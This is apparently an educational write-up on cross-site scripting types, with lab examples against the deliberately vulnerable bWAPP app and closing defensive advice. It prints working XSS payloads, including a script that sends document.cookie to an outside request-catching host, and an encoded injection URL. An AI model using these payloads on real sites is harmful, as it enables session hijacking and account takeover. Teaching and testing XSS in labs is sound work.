Reflected XSS
Stored XSS
DOM-Based XSS
An attacker sends the victim a link to the target application through email, social media, etc. This link has a script embedded within it which executes when visiting the target site. It’s called reflected because in this exploit scenario, the hacker must send the victim a URL containing the malicious code (usually javascript). The victim only needs to request this URL, the hacker will immediately receive the response containing the desired result (reactivity shown here). In addition, it is also known as the first-order XSS.
Example on bWAPP:
Cookie victim:
Steal cookie victim:
Use a web page to get the user's request, we can use: https://eniaod9oqg9es.x.pipedream.net
Redirect the victim site to another site, using "requestbin" to view the cookie location='https://eniaod9oqg9es.x.pipedream.net/?cookie='%2bdocument.cookie;
Check if it is XSS?
http://192.168.254.135/bWAPP/xss_get.php?firstname=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&lastname=a&form=submit
We add <script> tag, then use "requestbin" to show cookie:<script>location='https://eniaod9oqg9es.x.pipedream.net/?cookie='%2bdocument.cookie;</script>
We can use Burp Suite to catch request with POST medthod. Then create payload
trick users to get cookies to access users' web access.
and also with User-Agent
XSS - STORED (BLOG)
The attacker is able to plant a persistent script in the target website which will execute when anyone visits it. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.
Example on bWAPP:
To test if the input field are vulnerable. We try to inject this script: <script>alert(‘XSS’)</script>
If it is vulnerable, an alert box will show XSS
When users access the website, the message will show up:
Steal Cookie: When user click OK button, their cookie will be sent to requestbin page that hacker prepare for that, it's a basic level, in real case we need bypass filter, WAF,...
XSS - DOM Based
no HTTP request is required, the script is injected as a result of modifying the DOM of the target site in the client side code in the victim’s browser and is then executed.
Potential risks about Cross Site Scripting
The attacker can compromise or take over the victim’s user account in the application. They could retrieve data from the target web application, modify content on the target page, redirect the victim to another malicious or spoof site, or use it as a platform to install other malware on the victim’s system.
The consequences of any of the above can seriously impact your ability to conduct business, your customers, and your organization’s reputation.
Defenses against Cross Site Scripting
What input do we trust?
Does it adhere to expected patterns?
Never simply reflect untrusted data.
Applies to data within our database too.
Encoding of context(Java/attribute/HTML/CSS).
Thanks to GURUBARAN S, DatDQ